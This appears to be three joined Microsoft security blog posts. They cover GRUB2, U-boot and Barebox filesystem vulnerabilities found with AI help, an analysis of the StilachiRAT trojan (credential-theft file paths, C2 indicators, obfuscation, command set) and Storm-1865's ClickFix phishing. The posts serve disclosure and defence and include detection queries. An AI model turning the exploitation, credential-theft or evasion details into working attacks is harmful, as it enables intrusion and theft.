Using Security Copilot, we were able to identify potential security issues in bootloader functionalities, focusing on filesystems due to their high vulnerability potential. This approach saved our team approximately a week’s worth of time that would have otherwise been spent manually reviewing the content. Through a series of prompts, we identified and refined security issues, ultimately uncovering an exploitable integer overflow vulnerability. Copilot also assisted in finding similar patterns in other files, ensuring comprehensive coverage and validation of our findings. This efficient process allowed us to confirm several additional vulnerabilities and extend our analysis to other bootloaders like U-boot and Barebox, which share code with GRUB2. We’re sharing this research as an example of the increased efficiency, streamlined workflows, and improved capabilities that AI solutions like Security Copilot can deliver for defenders, security researchers, and SOC analysts. As AI continues to emerge as a key tool in the cybersecurity community, Microsoft emphasizes the importance of vendors and researchers maintaining their focus on information sharing. This approach ensures that AI’s advantages in rapid vulnerability discovery, remediation, and accelerated security operations can effectively counter malicious actors’ attempts to use AI to scale common attack tactics, techniques, and procedures (TTPs).

While threat actors would likely require physical device access to exploit the U-boot or Barebox vulnerabilities, in the case of GRUB2, the vulnerabilities could further be exploited to bypass Secure Boot and install stealthy bootkits or potentially bypass other security mechanisms, such as BitLocker. The implications of installing such bootkits are significant, as this can grant threat actors complete control over the device, allowing them to control the boot process and operating system, compromise additional devices on the network, and pursue other malicious activities. Furthermore, it could result in persistent malware that remains intact even after an operating system reinstallation or a hard drive replacement.

We disclosed these vulnerabilities with the GRUB2, U-boot, and Barebox maintainers and worked with the GRUB2 maintainers to contribute fixes for the discovered vulnerabilities. To address the issues, the GRUB2 maintainers released security updates on February 18, 2025, and both the U-boot and Barebox maintainers released updates on February 19, 2025. We thank the GRUB2, U-boot, and Barebox maintainers as well as the open-source community for their quick response and collaborative efforts in addressing these issues, and we advise users to ensure their instances are up to date. We would also like to thank the RedHat support team for their assistance in disclosing these issues to manufacturers. The respective vulnerabilities are summarized in the following table:

In this blog, we detail how Secure Boot and GRUB2 function, explain how the GRUB2 vulnerabilities could have been exploited, and provide information on the vulnerabilities found in other open-source bootloaders to highlight the risks associated with unknowingly sharing vulnerable code among different open-source projects. As the boot process involves multiple components spanning different manufacturers and vendors, updates and fixes to the Secure Boot process can be particularly complex and run the risk of rendering a device unusable. As such, we are also sharing these findings with the security community to emphasize the importance of responsible disclosure and collaboration in the effort to enhance protection technologies and security across different devices and platforms.

Secure Boot and GRUB2

Before 2006, Intel-based computers booted into startup firmware code commonly known as the BIOS (Basic Input/Output System), which was responsible for hardware initialization and setup of common services to later be used by a bootloader. Ultimately, the BIOS would transfer control to a bootloader coded in real mode, which would commonly load an operating system (OS).

With time, attackers realized there is no root-of-trust verification of bootloaders by the firmware, thus began the era of bootkits, which are bootloader-based rootkits. To standardize the boot process, a unified firmware schema to replace BIOS was introduced in 2006, which is currently known as the Unified Extensible Firmware Interface (UEFI).

UEFI also helped combat bootkits, as it offers services that validate bootloaders and its own extensible modules by means of digital signatures. That protocol is known as Secure Boot and is essential to establishing a root of trust for the boot process, in which the firmware verifies UEFI drivers and OS modules with a platform key or a Key Exchange Key, and bootloaders verify the loaded operating system.

Trust is then achieved with the help of equipment manufacturers, which can sign code trusted by Secure Boot, by means of Certificate Authorities (CA). Essentially, manufacturers sign code with their private key, and their public key is signed with a root CA, commonly Microsoft’s UEFI CA. This is also essential to supporting non-Windows bootloaders such as GRUB2 (which commonly boots Linux) and allowing third party operating systems to benefit from Secure Boot. Since GRUB2 is fully open-sourced, vendors install a small program called a shim, which is signed by Microsoft’s UEFI CA and is responsible for validating the integrity of GRUB2. The shim can further consult a mechanism called Secure Boot Advanced Targeting (SBAT) for further revocation and management options as SBAT is used by the shim to provide a way to track and revoke individual software components based on metadata rather than cryptographic signatures alone.

The dangers of a GRUB2

Since bootloaders run before operating systems run, they mostly have UEFI-provided services as APIs to rely on. Therefore, bootloaders do not benefit from modern operating system security features, such as:

• No-Execute (NX): Known in Windows as Data Execution Prevention (DEP), and enforces memory page execute protections. Before the introduction of NX, attackers could override return addresses (which are maintained in-memory) and jump to arbitrary code (commonly a shellcode) that could be placed using the provided input.
• Address Space Layout Randomization (ASLR): This feature randomizes the base address of modules, which makes return address overrides and function pointer overrides highly unreliable since attackers do not know where usable code might be found.
• Safe dynamic allocators: Dynamic allocations are a favorite target for attackers, and modern operating systems harden their heap allocators with various techniques, including Safe Unlinking, type-safety, Pointer Authentication, and others.
• Stack cookies / Canaries: These are randomly generated values pushed between the return address and local variables on the stack, with the intent of detecting changes in their values before using the return address (commonly in a RET instruction).

Additionally, GRUB2 offers complex logic to implement various features, including:

• Image file parsers (PNG, TGA, and JPEG)
• Font parsing and support (PF2 file format)
• Network support (HTTP, FTP, DNS, ICMP, etc.)
• Various filesystem supportability (FAT, NTFS, EXT, JFS, HFS, ReiserFS, etc.)
• Bash-like command-line utility
• Extensible dynamic module loading capabilities

Furthermore, GRUB2 is coded in C, which is considered a memory-unsafe language, and as mentioned, does not benefit from any modern security mitigation. Considering the implication of defeating Secure Boot and strategically assessing the project (such as with Google’s Rule of 2), it is evident why GRUB2 may be of interest to vulnerability researchers.

Several memory corruption vulnerabilities have been uncovered in the past and are evident of the risks that we have mentioned. Noteworthy examples include:

Findings

Through a combination of static code analysis tools (such as CodeQL), fuzzing the GRUB2 emulator (grub-emu) with AFL++, manual code analysis, and using Microsoft Security Copilot, we have uncovered several vulnerabilities.

Using Security Copilot, we initially explored which functionalities in a bootloader have the most potential for vulnerabilities, with Copilot identifying network, filesystems, and cryptographic signatures as key areas of interest. Given our ongoing analysis of network vulnerabilities and the fact that cryptography is largely handled by UEFI, we decided to focus on filesystems.

Using the JFFS2 filesystem code as an example, we prompted Copilot to find all potential security issues, including exploitability analysis. Copilot identified multiple security issues, which we refined further by requesting Copilot to identify and provide the five most pressing of these issues. In our manual review of the five identified issues, we found three were false positives, one was not exploitable, and the remaining issue, which warranted our attention and further investigation, was an integer overflow vulnerability.

We used Security Copilot to successfully identify similar patterns in other GRUB2 files. Assuming the possibility of false negatives, we performed thorough validation and review of GRUB2 to avoid overlooking any issues, allowing us to confirm several additional vulnerabilities were present relating to the integer overflow.

Through this research, we have disclosed the following vulnerabilities:

Most of those vulnerabilities are simple memory corruption vulnerabilities. As an example, let us examine the JFS symbolic link resolution function:

The vulnerability is an overflow of the size variable:

• The size variable is declared as grub_size_t, which is ultimately defined as a 64-bit unsigned integer (uint64_t).
• The function grub_le_to_cpu64 converts a Little-Endian 64-bit value to the CPU’s native Endianess. Since x86-64 is already Little-Endian, it does nothing (on Big-Endian systems it reverses the byte-order of the 64-bit input value).
• Note the input data and its inode are fully attacker-controlled, since they supply the filesystem image. Therefore, size can get an arbitrary value, including the very large value 0xFFFFFFFFFFFFFFFF (which is the maximum value an unsigned 64-bit integer can get).
• The linknest checks are irrelevant for the vulnerability, but they assure the number of nested symbolic links to not exceed a limit (defined as 8).
• The size+1 calculation is an integer overflow—if size is 0xFFFFFFFFFFFFFFFF then size+1 is now 0. Note grub_malloc happily allocates a 0-byte chunk and returns it to the variable symlink.
• At this point, symlink is being written to by the function grub_jfs_read_file. The contents are arbitrarily set by the attacker, and while this function will never be able to read 0xFFFFFFFFFFFFFFFF bytes, an attacker would still be able to override important data beyond the limit of the symlink variable with an arbitrary payload.

It seems GRUB2 maintainers were aware of other types of integer overflow issues in the past and therefore introduced functions such as grub_add and grub_mul to handle addition and multiplication overflows safely. However, it seems there are quite a few places where those functions have not been considered.

The other vulnerabilities we’ve reported had similar out-of-bounds or integer overflow issues. In addition, we have reported a cryptographic side-channel attack issue, in which the function grub_crypto_memcmp does not perform its memory comparison in constant-time. The vulnerability is quite similar to one we disclosed on Netgear routers in the past.

Variant analysis and extensions to other bootloaders

After the discovery of the GRUB2 filesystem vulnerabilities and validating their exploitability, we concluded it is very likely other bootloaders might be affected by similar vulnerabilities, potentially as a result of the practice of copy-pasting filesystem parsing code between different open-source projects.

To test this hypothesis, we asked Security Copilot to find similar code in GitHub based on GRUB2’s filesystem implementations. This approach initially found many GRUB2 forks, so we continued to refine the search and manually review the results. Within those results, the U-boot and Barebox bootloaders, which are both commonly used for embedded systems, were identified as having shared code with GRUB2. Further investigation led us to identify similar vulnerabilities in both bootloaders, as detailed in the table below.

To exploit those in an embedded system context, attackers would most likely require physical access to those devices.

Enhancing security beyond Microsoft with research and threat intelligence sharing

As our research demonstrates, the discovered vulnerabilities can impact a wide range of systems and devices with varying impact. The vulnerabilities in GRUB2 can be exploited to bypass Secure Boot and allow threat actors to gain arbitrary code execution in the context of GRUB2, install stealthy bootkits and persistent malware, and compromise additional devices on the network. Additionally, there are further consequences to bypassing Secure Boot as it undermines the security mechanism designed to protect the boot process. Secure Boot bypasses can lead to threat actors loading untrusted software and malicious code during the boot process, evading detection by security solutions, and gaining full control of the system for potential widespread impact across operating systems relying on UEFI Secure Boot. While the vulnerabilities impacting U-boot and Barebox may be more difficult to exploit for threat actors by requiring physical device access, the issues still underscore the dangers of sharing susceptible code across multiple open-source projects.

This research also demonstrates the necessity of responsible vulnerability disclosure, threat intelligence sharing, and partner collaboration in addressing these issues to safeguard users against current and future threats. Given the complexity of the boot process, which involves multiple components from different manufacturers, coupled with the fact that updates to Secure Boot can run the risk of rendering a device unusable, responsible disclosure of these vulnerabilities is necessary to prevent threat actor exploitation and give teams time to effectively coordinate and collaborate on mitigation measures.

To address the discovered issues, the GRUB2 maintainers updated the vulnerable versions in SBAT while working with manufacturers to update DBX database entries as well as their shims to improve Secure Boot revocation management, particularly for bootloaders like shim that act as an intermediary between firmware Secure Boot verification and Linux distributions boot processes. In addition to deploying patches to address the vulnerabilities, the GRUB2 maintainers disabled some of the OS modules when Secure Boot is enabled to help ensure only trusted and verified code executes during the boot process, further reducing the attack surface. We would like to again thank the GRUB2 team and open-source community for their efforts in addressing these issues, as well as the U-boot and Barebox maintainers for quickly releasing fixes.

Leveraging AI like Security Copilot was invaluable in our research, saving us approximately a week’s worth of time by efficiently identifying and refining security issues in bootloader functionalities, ultimately allowing us to uncover several vulnerabilities. Identifying, disclosing, and contributing fixes for vulnerabilities, such as those mentioned in this blog post, is part of our ongoing commitment to enhance security at Microsoft and beyond. Microsoft is dedicated to improving security through research-driven protections and collaboration with customers, partners, and industry experts. Microsoft security researchers discover vulnerabilities and threats, translating this knowledge into enhanced solutions that protect users daily, and by expanding our research, we also contribute to the security of devices worldwide across all platforms.

Jonathan Bar Or

Microsoft 365 Defender Research Team

References

• https://lists.gnu.org/archive/html/grub-devel/2025-02/msg00024.html
• https://www.cve.org/CVERecord?id=CVE-2024-56737
• https://www.cve.org/CVERecord?id=CVE-2024-56738
• https://www.cve.org/CVERecord?id=CVE-2025-0677
• https://www.cve.org/CVERecord?id=CVE-2025-0678
• https://www.cve.org/CVERecord?id=CVE-2025-0684
• https://www.cve.org/CVERecord?id=CVE-2025-0685
• https://www.cve.org/CVERecord?id=CVE-2025-0686
• https://www.cve.org/CVERecord?id=CVE-2025-0689
• https://www.cve.org/CVERecord?id=CVE-2025-0690
• https://www.cve.org/CVERecord?id=CVE-2025-1118
• https://www.cve.org/CVERecord?id=CVE-2025-1125
• https://www.cve.org/CVERecord?id=CVE-2025-26726
• https://www.cve.org/CVERecord?id=CVE-2025-26727
• https://www.cve.org/CVERecord?id=CVE-2025-26728
• https://www.cve.org/CVERecord?id=CVE-2025-26729
• https://www.cve.org/CVERecord?id=CVE-2025-26721
• https://www.cve.org/CVERecord?id=CVE-2025-26722
• https://www.cve.org/CVERecord?id=CVE-2025-26723
• https://www.cve.org/CVERecord?id=CVE-2025-26724
• https://www.cve.org/CVERecord?id=CVE-2025-26725
• https://wiki.osdev.org/BIOS
• https://wiki.osdev.org/Bootloader
• https://d3fend.mitre.org/offensive-technique/attack/T1067/
• https://wiki.osdev.org/UEFI
• https://uefi.org/sites/default/files/resources/UEFI_Plugfest_2013_-_New_Orleans_-_Microsoft_UEFI_CA.PDF
• https://www.gnu.org/software/grub/manual/grub/html_node/UEFI-secure-boot-and-shim.html
• https://github.com/rhboot/shim/blob/main/SBAT.md
• https://theapplewiki.com/wiki/Heap_Hardening
• https://chromium.googlesource.com/chromium/src/+/master/docs/security/rule-of-2.md
• https://nvd.nist.gov/vuln/detail/cve-2020-10713
• https://ubuntu.com/security/CVE-2021-3695
• https://ubuntu.com/security/CVE-2021-3696
• https://ubuntu.com/security/CVE-2021-3697
• https://ubuntu.com/security/CVE-2022-28733
• https://ubuntu.com/security/CVE-2022-28734
• https://ubuntu.com/security/CVE-2022-28735
• https://nvd.nist.gov/vuln/detail/cve-2023-4692
• https://codeql.github.com/
• https://github.com/AFLplusplus/AFLplusplus
• https://wiki.osdev.org/Endianness
• https://wiki.osdev.org/X86-64
• https://www.redhat.com/en/blog/inodes-linux-filesystem
• https://cwe.mitre.org/data/definitions/190.html
• https://cwe.mitre.org/data/definitions/208.html

Learn more

Security Copilot customers can use the standalone experience to create their own prompts or run pre-built promptbooks to automate incident response or investigation tasks related to this threat.

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://x.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Analyzing open-source bootloaders: Finding vulnerabilities faster with AI appeared first on Microsoft Security Blog.

Microsoft has not yet attributed StilachiRAT to a specific threat actor or geolocation. Based on Microsoft’s current visibility, the malware does not exhibit widespread distribution at this time. However, due to its stealth capabilities and the rapid changes within the malware ecosystem, we are sharing these findings as part of our ongoing efforts to monitor, analyze, and report on the evolving threat landscape.

Microsoft security solutions can detect activities related to attacks that use StilachiRAT. To help defenders protect their network, we are also sharing mitigation guidance to help reduce the impact of this threat, detection details, and hunting queries. Microsoft continues to monitor information on the delivery vector used in these attacks. Malware like StilachiRAT can be installed through multiple vectors; therefore, it is critical to implement security hardening measures to prevent the initial compromise. 

This blog presents our detailed findings on all the key capabilities of StilachiRAT, which include:

• System reconnaissance: Collects comprehensive system information, including operating system (OS) details, hardware identifiers, camera presence, active Remote Desktop Protocol (RDP) sessions, and running graphical user interface (GUI) applications, allowing detailed profiling of the target system.
• Digital wallet targeting: Scans for configuration data of 20 different cryptocurrency wallet extensions for the Google Chrome browser.
• Credential theft: Extracts and decrypts saved credentials from Google Chrome, gaining access to usernames and passwords stored in the browser.
• Command-and-control (C2) connectivity: Establishes communication with remote C2 servers using TCP ports 53, 443, or 16000, enabling remote command execution and potentially SOCKS like proxying.
• Command execution: Supports a variety of commands from the C2 server, including system reboots, log clearing, registry manipulation, application execution, and system suspension.
• Persistence mechanisms: Achieves persistence through the Windows service control manager (SCM) and uses watchdog threads to ensure self-reinstatement if removed.
• RDP monitoring: Monitors RDP sessions, capturing active window information and impersonating users, allowing for potential lateral movement within networks.
• Clipboard and data collection: Continuously monitors clipboard content, actively searching for sensitive data like passwords and cryptocurrency keys, while tracking active windows and applications.
• Anti-forensics and evasion: Employs anti-forensic tactics by clearing event logs, detecting analysis tools, and implementing sandbox-evading behaviors to avoid detection.

Technical analysis of key capabilities

System reconnaissance

StilachiRAT gathers extensive system information, including OS details, device identifiers, BIOS serial numbers, and camera presence. Information is collected through the Component Object Model (COM) Web-based Enterprise Management (WBEM) interfaces using WMI Query Language (WQL). Below are some of the queries it executes:

Serial number

Camera

OS / System info (server, model, manufacturer)

Additionally, the malware creates a unique identification on the infected device that is derived from the system’s serial number and attackers’ public RSA key. The information is stored in the registry under a CLSID key.

Digital wallet targeting

StilachiRAT targets a list of specific cryptocurrency wallet extensions for the Google Chrome browser. It accesses the settings in the following registry key and validates if any of the extensions are installed:

\SOFTWARE\Google\Chrome\PreferenceMACs\Default\extensions.settings

The malware targets the following cryptocurrency wallet extensions:

Credential theft

StilachiRAT extracts Google Chrome’s encryption_key from the local state file in a user’s directory. However, since the key is encrypted when Chrome is first installed, it uses Windows APIs that rely on current user’s context to decrypt the master key. This allows access to the stored credentials in the password vault. The stored credentials are extracted from the following locations:

• %LOCALAPPDATA%\Google\Chrome\User Data\Local State – stores Chrome’s configuration data, including the encrypted key.
• %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data – stores entered user credentials.

The “Login Data” stores information using an SQLite database and the malware retrieves credentials using the following query:

Command-and-control (C2)

There are two configured addresses for the C2 server – one is stored in obfuscated form and the other is an IP address converted to its binary format (instead of a regular string):

• app.95560[.]cc
• 194.195.89[.]47

The communications channel is established using TCP ports 53, 443, or 16000, selected randomly. Additionally, the malware checks for presence of tcpview.exe and will not proceed if one is present. It also delays initial connection by two hours, presumably to evade detection. Once connected, a list of active windows is sent to the server. Additional technical findings regarding C2 communications functionality are listed in the section below.

Persistence mechanisms

StilachiRAT can be launched both as a Windows service or a standalone component. In both cases, there is a mechanism in place to ensure the malware isn’t removed.

A watchdog thread monitors both the EXE and dynamic link library (DLL) files used by the malware by periodically polling for their presence. If found absent, the files can be recreated from an internal copy obtained during initialization. Lastly, the Windows service component can be recreated by modifying the relevant registry settings and restarting it through the SCM.

RDP monitoring

StilachiRAT monitors RDP sessions by capturing foreground window information and duplicating security tokens to impersonate users. This is particularly risky on RDP servers hosting administrative sessions as it could enable lateral movement within networks.

The malware obtains the current session and actively launches foreground windows as well as enumerates all other RDP sessions. For each identified session, it will access the Windows Explorer shell and duplicate its privileges or security token. The malware then gains capabilities to launch applications with these newly obtained privileges.

Data collection

StilachiRAT collects a variety of user data, including software installation records and active applications. It monitors active GUI windows, their title bar text, and file location, and sends this information to the C2 server, potentially allowing attackers to track user behavior.

Clipboard monitoring

StilachiRAT has a functionality that is responsible for monitoring clipboard data. Specifically, the malware can periodically read the clipboard, extract text based on search expressions, and then exfiltrate this data. Clipboard monitoring is continuous, with targeted searches for sensitive information such as passwords, cryptocurrency keys, and potentially personal identifiers.

The list below includes the regular search expressions used to extract certain credentials. These are associated with the Tron Cryptocurrency blockchain that is popular in Asia, especially in China.

The same search expressions are then used to iterate files in the following locations:

• %USERPROFILE%\Desktop
• %USERPROFILE%\Recent

Anti-forensic measures

StilachiRAT displays anti-forensic behavior by clearing event logs and checking certain system conditions to evade detection. This includes looping checks for analysis tools and sandbox timers that prevent its full activation in virtual environments commonly used for malware analysis.

Additionally, Windows API calls are obfuscated in multiple ways and a custom algorithm is used to encode many text strings and values. This significantly slows down analysis time since extrapolating higher level logic and code design becomes a more complex effort.

The malware employs API-level obfuscation techniques to impede manual analysis, specifically by concealing its use of Windows APIs (e.g., RegOpenKey()). Instead of referencing API names directly, it encodes them as checksums that are resolved dynamically at runtime. While this is a common technique in malware, the authors have introduced additional layers of obfuscation.

Precomputed API checksums are stored in multiple lookup tables, each masked with an XOR value. During launch, the malware selects the appropriate table based on the hashed API name, applies the correct XOR mask to decode the value, and dynamically resolves the corresponding Windows API function. The resolved function pointer is then cached, but with an additional XOR mask applied, preventing straightforward memory scans from identifying API references.

Commands launched from the C2 server

StilachiRAT can launch various commands received from the C2 server. These commands include system reboot, log clearing, credential theft, executing applications, and manipulating system windows. Additionally, it can suspend the system, modify Windows registry values, and enumerate open windows, indicating a versatile command set for both espionage and system manipulation. The C2 server’s command structure assigns specific numbers to what commands it will initiate. The following section presents details on the said commands.

07 – Dialog box

Uses the Windows API function ShowHTMLDialogEx() to display a dialog box with rendered HTML contents from a supplied URL.

08 – Log clearing

Given an event log type, the relevant Windows APIs are used to open and then clear the log entries.

09 – System reboot

Adjusts its own executing privileges to enable system shutdown and uses an undocumented Windows API to perform the action.

13 – Network sockets

Appears to contain capability to receive a network address from C2 server and establish a new outbound connection.

14 – TCP incoming

Accepts an incoming network connection on the supplied TCP port.

15 – Terminate

If there’s an open network connection, then close it and disable the Windows service controlling this process. This appears to be the self-removal (uninstall) command.

16 – Initiate application

The malware creates a console window and initiates a command to launch the program provided by the C2 operator using the WinExec() API.

19 – Enumerate Windows

Iterates all windows of the current desktop to look for a requested title bar text. This might allow the operator to access specific GUI applications and their contents, both onscreen and clipboard.

26 – Suspend

Uses the SetSuspendState() API to put the system into either a suspended (sleep) state or hibernation.

30 – Chrome credentials

Launches the earlier mentioned functionality to steal Google Chrome passwords.

Mitigations

Malware like StilachiRAT can be installed through various vectors. The following mitigations can help prevent this type of malware from infiltrating the system and reduce the attack surface:

• In some cases, RATs can masquerade as legitimate software or software updates. Always download software from the official website of the software developer or from reputable sources.
• Encourage users to use Microsoft Edge and other web browsers that support SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Turn on Safe Links and Safe Attachments for Office 365. In organizations with Microsoft Defender for Office 365, Safe Links scanning protects your organization from malicious links that are used in phishing and other attacks. Specifically, Safe Links provides URL scanning and rewriting of inbound email messages during mail flow, and time-of-click verification of URLs and links in email messages, Microsoft Teams, and supported Office 365 apps. Safe Attachments provides an additional layer of protection for email attachments that have already been scanned by anti-malware protection in Exchange Online Protection (EOP).
• Enable network protection in Microsoft Defender for Endpoint to prevent applications or users from accessing malicious domains and other malicious content on the internet. You can audit network protection in a test environment to view which apps would be blocked before enabling network protection.

General hardening guidelines:

• Ensure that tamper protection is enabled in Microsoft Dender for Endpoint.
• Run endpoint detection and response in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode.
• Configure investigation and remediation in full automated mode to let Microsoft Defender for Endpoint take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Turn on Potentially unwanted applications (PUA) protection in block mode in Microsoft Defender Antivirus. PUA are a category of software that can cause your machine to run slowly, display unexpected ads, or install other software that might be unexpected or unapproved.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques.
• Turn on Microsoft Defender Antivirus real-time protection.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects this threat as the following malware:

• TrojanSpy:Win64/Stilachi.A

Microsoft Defender for Endpoint

The following alerts might indicate threat activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity.

• A process was injected with potentially malicious code
• Process hollowing detected
• Suspicious service launched
• Possible theft of passwords and other sensitive web browser information

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following pre-built promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article
• Vulnerability impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following query to find related activity in their networks:

Look for suspicious outbound network connections

Monitor network traffic for malicious activity caused by remote access trojans by focusing on identifying unusual outbound connections, irregular port activity, and suspicious data exfiltration patterns that may indicate RAT presence.

Outbound ports associated with common data transfer protocols such as HTTP/HTTPS (port 80/443), SMB (port 445), and DNS (port 53) or less common ports like 16000 used for specific applications and services for network communications might indicate such activity.

let domains = dynamic(['domain1', 'domain2', 'domain3']);
DeviceNetworkEvents
| where RemotePort in (53, 443, 16000)
| where Protocol == "Tcp"
| where RemoteUrl has_any (domains)
| project Timestamp, DeviceName, RemoteIP, RemotePort, InitiatingProcessCommandLine, ActionType, DeviceId, LocalIP, RemoteUrl, InitiatingProcessFileName

Look for signs of persistence

The malware can be run both as a Windows Service or a standalone component. To identify persistence and suspicious services, monitor for the following event IDs:

• Event ID 7045 – a new service was installed on the system. Monitor for suspicious services.
• Event ID 7040 – start type of a service is changed (boot, on-request). Boot may be a vector for the RAT to persist during a system reboot. On request indicates that the process must request the SCM to start the service.
• Correlated with Event ID 4697 – a service was installed on the system (Security log)

DeviceEvents
|where ActionType == “ServiceInstalled”
| project Timestamp, DeviceId,ActionType, FileName, FolderPath, InitiatingProcessCommandLine

Look for anti-forensic behavior

To identify potential event log clearing, monitor for the following event IDs:

• Event ID 1102 (Security log)
• Event ID 104 (System log)

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain/IP/Hash indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Additionally, Sentinel users can use the following query to detect when the security event log has been cleared, a potential indicator of an attempt to erase system evidence.

SecurityEvent
  | where EventID == 1102 and EventSourceName == "Microsoft-Windows-Eventlog"
  | summarize StartTimeUtc = min(TimeGenerated), EndTimeUtc = max(TimeGenerated), EventCount = count() by Computer, Account, EventID, Activity
  | extend HostName = tostring(split(Computer, ".")[0]), DomainIndex = toint(indexof(Computer, '.'))
  | extend HostNameDomain = iff(DomainIndex != -1, substring(Computer, DomainIndex + 1), Computer)
  | extend AccountName = tostring(split(Account, @'\')[1]), AccountNTDomain = tostring(split(Account, @'\')[0])

Sentinel users can also use the following query to detect service installations or modifications in service settings, which may indicate potential persistence mechanisms used by attackers.

Event 
  // 7045: A service was installed in the system
 //  7040: A service setting has been changed
  | where Source == "Service Control Manager" 
  | where EventID in ( '7045', '7040')
  | parse EventData with * 'ServiceName">' ServiceName "<" * 'ImagePath">' ImagePath "<" *
  | parse EventData with * 'AccountName">' AccountName "<" *
  | summarize StartTime = min(TimeGenerated), EndTime = max(TimeGenerated) by EventID, Computer, ServiceName, ImagePath, AccountName

Indicators of compromise

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://x.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

Microsoft is committed to delivering comprehensive customer experience through various Microsoft Offerings. Our approach goes beyond traditional support by focusing on detection, prevention, and in-depth mitigation to help customers quickly respond to security incidents and build resiliency. Want to know how to Build a More Secure Tomorrow? Check our Unified and Security eBook and visit https://aka.ms/Unified

Dmitriy Pletnev and Daria Pop
Microsoft Incident Response

The post StilachiRAT analysis: From system reconnaissance to cryptocurrency theft appeared first on Microsoft Security Blog.

This phishing attack specifically targets individuals in hospitality organizations in North America, Oceania, South and Southeast Asia, and Northern, Southern, Eastern, and Western Europe, that are most likely to work with Booking.com, sending fake emails purporting to be coming from the agency.

In the ClickFix technique, a threat actor attempts to take advantage of human problem-solving tendencies by displaying fake error messages or prompts that instruct target users to fix issues by copying, pasting, and launching commands that eventually result in the download of malware. This need for user interaction could allow an attack to slip through conventional and automated security features. In the case of this phishing campaign, the user is prompted to use a keyboard shortcut to open a Windows Run window, then paste and launch a command that the phishing page adds to the clipboard.

Microsoft tracks this campaign as Storm-1865, a cluster of activity related to phishing campaigns leading to payment data theft and fraudulent charges. Organizations can reduce the impact of phishing attacks by educating users on recognizing such scams. This blog includes additional recommendations to help users and defenders defend against these threats.

Phishing campaign using the ClickFix social engineering technique

In this campaign, Storm-1865 identifies target organizations in the hospitality sector and targets individuals at those organizations likely to work with Booking.com. Storm-1865 then sends a malicious email impersonating Booking.com to the targeted individual. The content of the email varies greatly, referencing negative guest reviews, requests from prospective guests, online promotion opportunities, account verification, and more.

The email includes a link, or a PDF attachment containing one, claiming to take recipients to Booking.com. Clicking the link leads to a webpage that displays a fake CAPTCHA overlayed on a subtly visible background designed to mimic a legitimate Booking.com page. This webpage gives the illusion that Booking.com uses additional verification checks, which might give the targeted user a false sense of security and therefore increase their chances of getting compromised.

The fake CAPTCHA is where the webpage employs the ClickFix social engineering technique to download the malicious payload. This technique instructs the user to use a keyboard shortcut to open a Windows Run window, then paste and launch a command that the webpage adds to the clipboard:

The command downloads and launches malicious code through mshta.exe:

This campaign delivers multiple families of commodity malware, including XWorm, Lumma stealer, VenomRAT, AsyncRAT, Danabot, and NetSupport RAT. Depending on the specific payload, the specific code launched through mshta.exe varies. Some samples have downloaded PowerShell, JavaScript, and portable executable (PE) content.

All these payloads include capabilities to steal financial data and credentials for fraudulent use, which is a hallmark of Storm-1865 activity. In 2023, Storm-1865 targeted hotel guests using Booking.com with similar social engineering techniques and malware. In 2024, Storm-1865 targeted buyers using e-commerce platforms with phishing messages leading to fraudulent payment webpages. The addition of ClickFix to this threat actor’s tactics, techniques, and procedures (TTPs) shows how Storm-1865 is evolving its attack chains to try to slip through conventional security measures against phishing and malware.

Attribution

The threat actor that Microsoft tracks as Storm-1865 encapsulates a cluster of activity conducting phishing campaigns, leading to payment data theft and fraudulent charges. These campaigns have been ongoing with increased volume since at least early 2023 and involve messages sent through vendor platforms, such as online travel agencies and e-commerce platforms, and email services, such as Gmail or iCloud Mail.

Recommendations

Users can follow the recommendations below to spot phishing activity. Organizations can reduce the impact of phishing attacks by educating users on recognizing these scams.

Check the sender’s email address to ensure it’s legitimate. Assess whether the sender is categorized as first-time, infrequent, or marked as “[External]” by your email provider. Hover over the address to ensure that the full address is legitimate. Keep in mind that legitimate organizations do not send unsolicited email messages or make unsolicited phone calls to request personal or financial information. Always navigate to those organizations directly to sign into your account.

Contact the service provider directly. If you receive a suspicious email or message, contact the service provider directly using official contact forms listed on the official website.

